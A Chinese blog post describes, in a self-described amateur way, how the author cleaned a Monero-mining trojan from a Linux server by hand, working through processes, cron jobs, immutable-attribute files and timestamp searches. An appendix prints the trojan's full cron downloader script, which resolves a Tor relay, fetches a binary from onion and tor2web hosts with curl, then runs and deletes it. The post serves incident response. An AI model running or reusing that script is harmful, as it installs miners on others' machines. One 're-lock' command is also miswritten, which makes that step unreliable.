门罗币木马清除--业余级

By | 2020 年 3 月 25 日

先来主要使用的命令

top 检查进程,找到CPU占用较高的

lsof -p pid 检查进程启动命令、调用记录

pstree -H pid 检查父进程,一般用于查找哪个进程唤起主木马进程的。

kill -9 pid 杀死进程,如果只用kill,容易留下僵尸进程,清除木马无效!

find /etc/cron* -type f -mtime -30 查找/etc 下定时任务中最近被改动过的文件

crontab -e 查看定时任务,找到异常的

lsattr /etc/hosts 查看hosts文件的读写属性,如果是有i标志,那么锁定了只能读,这个木马大量锁定了自己文件为只读!!
解锁 chattr -i /etc/hosts
再加锁 chattr -i /etc/hosts
目录的处理,加R参数 chattr -iR /tmp/.X1M-unix

处理原则: 首先停止定时任务 service crond stop

1、找到异常进程,查找父进程。杀掉

2、查找被修改的cornd文件,删除,做好日志监控,防止删除不干净。一般位置在
/etc/cron.hourly/
/etc/cron.d/
/etc/cron.d/clamav-update/
以及crontab -e检查

3、检查以及删除文件,主要有
①/tmp目录,输入ll .然后两次tab键
例如/tmp/.X11-unix/ 或者/tmp/.??异常,关注其生成时间大多是固定的,关注其状态,一般都是只读,用lsattr 文件。这次我发现了这么多
.font-unix/ .ICE-unix/  .Test-unix/ .X11-unix/  .XIM-unix/

②/opt目录 这个目录里做一次lsattr检查,关注其生成时间

③~/用户目录
输入ll .然后两次tab键
做一次lsattr检查,关注其生成时间

④全局搜索对应日期的文件。例如发现木马相关文件时间是2020-03-23 17:36,那么
find / * -newermt '2020-03-23 17:00' ! -newermt '2020-03-23 18:00'
然后一一校验,是否被修改,是否为挖矿本身。

⑤修改hosts文件

4、执行ldconfig,检查爆出来的所有异常库文件,看其属性,如果是只读,那就要处理了。

5、以上操作尽量快,防止未删除干净就又产生了。

6、service crond start。启动定时任务,用tailf /var/log/crond 监控定时任务日志,看是否有未干净的清理。如发现有异常,检查有没有/tmp/.XX,以及crontab -e是否有新的木马脚本,还有/opt下是否有新木马脚本出现。

之所以不专业,

1、因为过程中始终没有找到入侵的路径,
2、全手动,
3、在上面第五项折了小半天,甚至用了 touch一个空木马脚本文件rvlss,并给予chattr +i rvlss的方式,阻止脚本后继操作的方式。----也有效果!

附属主要crond中的base64木马脚本

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d=$(grep x:$(id -u): /etc/passwd|cut -d: -f6)
c=$(echo "curl -4fsSLkA- -m200")
t=$(echo "trumpzwlvlyrvlss")

sockz() {
p=$(echo "dns-query?name=relay.tor2socks.in")
s=$(($c https://doh.centraleu.pi-dns.com/$p ||
     $c https://dns.twnic.tw/$p ||
     $c https://dns.rubyfish.cn/$p ||
     $c https://doh.dns.sb/$p ; host -W 5 relay.tor2socks.in|awk {'print $NF'})\
     | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n'|sort -uR|head -1 )
}

fexe() {
for i in $d /tmp /var/tmp /dev/shm /usr/bin ;do echo exit > $i/i && chmod +x $i/i && cd $i && ./i && rm -f i && break;done
}

u() {
sockz
fexe
f=/int.$(uname -m)
x=./$(date|md5sum|cut -f1 -d-)
$c -x socks5h://$s:9050 $t.onion$f -o$x || $c $1$f -o$x
chmod +x $x;$x;rm -f $x
}

for h in tor2web.in tor2web.io tor2web.to tor2web.su
do
if ! ls /proc/$(head -1 /tmp/.X11-unix/00)/io; then
u $t.$h
else
break
fi
done

感谢大牛的文章 https://www.cnblogs.com/William-Guozi/p/virus.html

发表回复

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据